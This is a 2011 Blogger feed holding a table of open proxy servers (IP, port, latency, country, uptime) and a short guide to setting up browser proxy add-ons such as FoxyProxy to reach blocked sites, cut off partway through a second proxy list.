<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-581094467797720912</id><updated>2012-01-04T05:22:24.044-08:00</updated><category term='java.io.FilePermisson C:\text.txt read write'/><category term='SocketPermission connect'/><category term='Sign Your Applet'/><category term='JAR Signing'/><category term='keytool -genkey'/><category term='jarsigner'/><title type='text'>IT IN NEW WAY</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>20</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-2358376535114687328</id><published>2011-04-04T01:08:00.000-07:00</published><updated>2011-04-04T01:08:24.710-07:00</updated><title type='text'>NEW Proxy Servers</title><content type='html'>&amp;nbsp;  &lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" style="width: 894px;"&gt;&lt;col style="width: 101pt;" width="135"&gt;&lt;/col&gt;  &lt;col span="6" style="width: 48pt;" width="64"&gt;&lt;/col&gt;  &lt;col style="width: 281pt;" width="375"&gt;&lt;/col&gt;  &lt;tbody&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt; width: 101pt;" width="135"&gt;Proxy:Port&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt;Latency&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt;Country&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt;SSL&lt;/td&gt;   &lt;td style="width: 48pt;" width="64"&gt;Uptime&lt;/td&gt;   &lt;td style="width: 281pt;" width="375"&gt;Last work time&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;94.100.28.218:3128&lt;/td&gt;   &lt;td align="right"&gt;0.125&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;NL&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;95.56.229.18:3128&lt;/td&gt;   &lt;td align="right"&gt;0.265&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;KZ&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;201.28.123.6:8080&lt;/td&gt;   &lt;td align="right"&gt;0.339&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;81.30.151.162:3128&lt;/td&gt;   &lt;td align="right"&gt;0.354&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;NN&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;88.135.217.66:3128&lt;/td&gt;   &lt;td align="right"&gt;0.461&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;UA&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;189.17.38.252:3128&lt;/td&gt;   &lt;td align="right"&gt;0.511&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;200.103.97.11:80&lt;/td&gt;   &lt;td align="right"&gt;0.52&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;187.84.240.170:8080&lt;/td&gt;   &lt;td align="right"&gt;0.589&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;186.215.147.12:3128&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;NN&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;189.22.158.130:3128&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;81.213.166.95:3128&lt;/td&gt;   &lt;td align="right"&gt;0.187&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;TR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;84.44.41.3:3128&lt;/td&gt;   &lt;td align="right"&gt;0.299&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;TR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;189.108.142.50:8080&lt;/td&gt;   &lt;td align="right"&gt;0.317&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;213.197.81.50:3128&lt;/td&gt;   &lt;td align="right"&gt;0.389&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;SK&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;100%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;62.209.212.66:8080&lt;/td&gt;   &lt;td align="right"&gt;0.211&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;CZ&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;99%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;93.153.132.237:3128&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;RU&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;99%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;189.10.142.10:3128&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;99%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;189.85.27.74:8080&lt;/td&gt;   &lt;td align="right"&gt;0.235&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;99%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;201.48.250.233:3128&lt;/td&gt;   &lt;td align="right"&gt;0.387&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;99%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;87.117.135.86:8080&lt;/td&gt;   &lt;td align="right"&gt;0.437&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;RU&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;98%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;118.98.31.4:80&lt;/td&gt;   &lt;td align="right"&gt;0.591&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;ID&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;98%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;200.119.10.198:3128&lt;/td&gt;   &lt;td align="right"&gt;0.276&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;MK&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;98%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;203.130.238.91:80&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;ID&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;97%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;66.197.164.210:80&lt;/td&gt;   &lt;td align="right"&gt;0.085&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;US&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;96%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;201.75.3.100:3128&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;95%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;85.216.186.17:8080&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;SK&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;94%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;187.48.61.32:3128&lt;/td&gt;   &lt;td align="right"&gt;0.322&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;93%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;91.210.44.1:8080&lt;/td&gt;   &lt;td align="right"&gt;0.388&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;RU&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;92%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;72.82.255.104:3128&lt;/td&gt;   &lt;td align="right"&gt;0.1&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;US&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;82%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;65.172.48.18:8081&lt;/td&gt;   &lt;td align="right"&gt;0.46&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;US&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;81%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;80.190.34.23:3128&lt;/td&gt;   &lt;td align="right"&gt;0.531&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;DE&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;81%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;79.177.211.183:3128&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;IL&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;81%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;175.136.236.137:3128&lt;/td&gt;   &lt;td align="right"&gt;0.592&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;MY&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;66%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;189.124.80.5:8080&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BR&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;65%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;110.137.185.9:8080&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;ID&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;63%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;190.37.127.117:3128&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;MK&lt;/td&gt;   &lt;td&gt;Y&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;60%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 8:01&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;211.139.10.170:80&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;CN&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;52%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="20" style="height: 15pt;"&gt;   &lt;td height="20" style="height: 15pt;"&gt;208.52.90.100:80&lt;/td&gt;   &lt;td align="right"&gt;0&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;BO&lt;/td&gt;   &lt;td&gt;N&lt;/td&gt;   &lt;td align="right" class="xl65"&gt;14%&lt;/td&gt;   &lt;td align="right" class="xl66"&gt;4/4/2011 7:59&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-2358376535114687328?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/2358376535114687328/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=2358376535114687328' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/2358376535114687328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/2358376535114687328'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2011/04/new-proxy-servers.html' title='NEW Proxy Servers'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-7891189675617742093</id><published>2011-02-26T01:49:00.000-08:00</published><updated>2011-02-26T02:48:44.669-08:00</updated><title type='text'>Setting Up a proxy via browser in oder to play Flas Viedos and access Mail</title><content type='html'>We know that some times we need to access blocked sites or some times to hide our identity or to pretend as a another countrymen to get services (hulu ans US herbs ). if  we  use proxy sites  such as http://www.hidemyass.com/  most of the time web server  detect the proxy and ban the connection . and yahoo in box won't function well (gmail fails  sometimes) and flash won't work mostly. so how get through  these problems. solution is using a proxy via browser rather than a proxy site.&lt;br /&gt;&lt;br /&gt;How to do it&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; firefox &lt;/span&gt;&lt;br /&gt;     Go and download  foxy proxy add-on from following link and install it.&lt;br /&gt;   &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/"&gt;https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/&lt;/a&gt;&lt;br /&gt;    After the installation is completed  click   (Double Some times)    on the fox located in&lt;br /&gt;    bottom right corner&lt;br /&gt;&lt;br /&gt;  &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-u55S_K3SBlo/TWjV58CkirI/AAAAAAAAADU/IEnDS5YhhHQ/s1600/foxy.JPG"&gt;&lt;img style="cursor: pointer; width: 133px; height: 164px;" src="http://2.bp.blogspot.com/-u55S_K3SBlo/TWjV58CkirI/AAAAAAAAADU/IEnDS5YhhHQ/s200/foxy.JPG" alt="" id="BLOGGER_PHOTO_ID_5577943329844529842" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;on the new window  click  &lt;span style="font-weight: bold;"&gt;Add New Proxy&lt;/span&gt; Button&lt;br /&gt;&lt;br /&gt;add   a proxy  from  following list&lt;br /&gt;e.g&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-FaK5CacKRaA/TWjZUOu55jI/AAAAAAAAADc/aUsZfxno7A0/s1600/emd.JPG"&gt;&lt;img style="cursor: pointer; width: 553px; height: 343px;" src="http://4.bp.blogspot.com/-FaK5CacKRaA/TWjZUOu55jI/AAAAAAAAADc/aUsZfxno7A0/s1600/emd.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; Chrome &lt;/span&gt;&lt;br /&gt;  if you use google chrome then  you can use Proxy Switchy&lt;br /&gt;  get if from  h&lt;a href="http://switchy.samabox.com/"&gt;ttp://switchy.samabox.com/&lt;br /&gt;&lt;/a&gt;    configuration is more straight forward . you can do it your self&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;List of Proxies&lt;/span&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="691"&gt;&lt;col style="width: 102pt;" width="136"&gt;  &lt;col style="width: 101pt;" width="134"&gt;  &lt;col style="width: 47pt;" width="62"&gt;  &lt;col style="width: 89pt;" width="119"&gt;  &lt;col style="width: 119pt;" width="158"&gt;  &lt;col style="width: 62pt;" width="82"&gt;  &lt;tbody&gt;&lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt; width: 102pt;" height="20" width="136"&gt;Proxy:Port&lt;/td&gt;   &lt;td class="xl65" style="width: 101pt;" width="134"&gt;Latency&lt;/td&gt;   &lt;td class="xl65" style="width: 47pt;" width="62"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65" style="width: 89pt;" width="119"&gt;Country&lt;/td&gt;   &lt;td class="xl65" style="width: 119pt;" width="158"&gt;SSL(HTTPS)&lt;/td&gt;   &lt;td class="xl65" style="width: 62pt;" width="82"&gt;Uptime&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;92.48.80.107:80&lt;/td&gt;   &lt;td class="xl65"&gt;0&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td class="xl65"&gt;GB&lt;/td&gt;   &lt;td class="xl65"&gt;N&lt;/td&gt;   &lt;td class="xl66"&gt;41%&lt;/td&gt;  &lt;/tr&gt;  &lt;tr style="height: 15pt;" height="20"&gt;   &lt;td class="xl65" style="height: 15pt;" height="20"&gt;222.77.14.56:8088&lt;/td&gt;   &lt;td class="xl65"&gt;0.68&lt;/td&gt;   &lt;td class="xl65"&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td 